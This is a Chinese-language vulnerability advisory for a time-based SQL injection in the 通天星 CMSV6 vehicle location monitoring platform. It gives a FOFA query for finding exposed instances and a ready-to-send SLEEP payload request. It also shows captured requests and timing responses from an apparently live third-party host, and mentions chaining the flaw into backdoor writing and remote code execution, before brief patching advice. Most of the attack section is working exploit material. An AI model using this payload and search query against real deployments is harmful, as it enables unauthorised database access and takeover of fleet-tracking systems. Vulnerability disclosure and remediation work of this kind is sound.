

通天星CMSV6车载定位监控平台 disable SQL注入漏洞

漏洞描述

该漏洞是由于通天星CMSV6车载定位监控平台 /edu_security_officer/disable接口处未对用户的输入进行有效的过滤，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。该漏洞可配合任意文件读取获取网站绝对路径写入后门文件进行远程代码执行。

影响范围

通天星CMSV6车载定位监控平台

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	中
利用难度	低

漏洞复现

FOFA: body="/808gps/"

POC/EXP:

GET /edu_security_officer/disable;downloadLogger.action?
ids=1+AND+%28SELECT+2688+FROM+%28SELECT%28SLEEP%285%29%29%29kOli%29 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

发送请求

强制 HTTPS

历史

生成 Yaml

Request

数据包扫描 热加载 构造请求

```
1 GET /edu_security_officer/disable;downloadLogger.action?ids=1+AND+%28SELECT+2688+FROM+%28SELECT%28SLEEP%285%29%29%29kOI%29 HTTP/1.1
2 Host: 8.1.21.72
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 Accept-Encoding: gzip, deflate
5 Accept-Language: zh-CN,zh;q=0.9
6 Connection: close
```

Responses

https 85bytes / 5421ms

美化 详情

```
1 HTTP/1.1 200
2 Server: nginx/1.21.7.2 WhiteHorse
3 Date: Tue, 23 Jul 2024 01:59:27 GMT
4 Content-Type: application/json; charset=utf-8
5 Connection: close
6 Set-Cookie: JSESSIONID=2BEA046E3BCD1B36D0587373D02CDB80; Path=/; Secure; HttpOnly
7 Access-Control-Allow-Origin: *
8 Access-Control-Allow-Methods: POST, GET, OPTIONS
9 Access-Control-Max-Age: 3600
10 Access-Control-Allow-Headers: Origin, No-Cache, X-Requested-With, If-Modified-Since, Pragma, Last-Modified, Cache-Control, Expires, Content-Type, X-E4M-With, x-ui-request, lang, userId, token, csrfToken, Authorization, Access-Control-Allow-Headers
11 Access-Control-Allow-Credentials: true
12 X-Content-Type-Options: nosniff
13 X-XSS-Protection: 1; mode=block
14 Content-Disposition: inline; filename=f.txt
15 vary: accept-encoding
16 Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
17 Content-Length: 85
18
19 {"result":0,"message":"OK","data":"","pagination":"","infos":"","key":"","resMap":""}
```

发送请求

强制 HTTPS

历史

生成 Yaml

Request

数据包扫描 热加载 构造请求

```
1 GET /edu_security_officer/disable;downloadLogger.action?ids=1+AND+%28SELECT+2688+FROM+%28SELECT%28SLEEP%2810%29%29%29kOI%29 HTTP/1.1
2 Host: 8.1.21.72
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 Accept-Encoding: gzip, deflate
5 Accept-Language: zh-CN,zh;q=0.9
6 Connection: close
```

Responses

https 85bytes / 10476ms

美化 详情

```
1 HTTP/1.1 200
2 Server: nginx/1.21.7.2 WhiteHorse
3 Date: Tue, 23 Jul 2024 02:05:20 GMT
4 Content-Type: application/json; charset=utf-8
5 Connection: close
6 Set-Cookie: JSESSIONID=2FD24B9F0CAFC47E4BFC6C8B89358DF0; Path=/; Secure; HttpOnly
7 Access-Control-Allow-Origin: *
8 Access-Control-Allow-Methods: POST, GET, OPTIONS
9 Access-Control-Max-Age: 3600
10 Access-Control-Allow-Headers: Origin, No-Cache, X-Requested-With, If-Modified-Since, Pragma, Last-Modified, Cache-Control, Expires, Content-Type, X-E4M-With, x-ui-request, lang, userId, token, csrfToken, Authorization, Access-Control-Allow-Headers
11 Access-Control-Allow-Credentials: true
12 X-Content-Type-Options: nosniff
13 X-XSS-Protection: 1; mode=block
14 Content-Disposition: inline; filename=f.txt
15 vary: accept-encoding
16 Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
17 Content-Length: 85
18
19 {"result":0,"message":"OK","data":"","pagination":"","infos":"","key":"","resMap":""}
```

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本

官方已发布新版本修复漏洞，建议尽快访问官网 (<http://www.g-sky.cn/list-70-1.html>) 或联系官方售后支持获取版本升级安装包或补丁。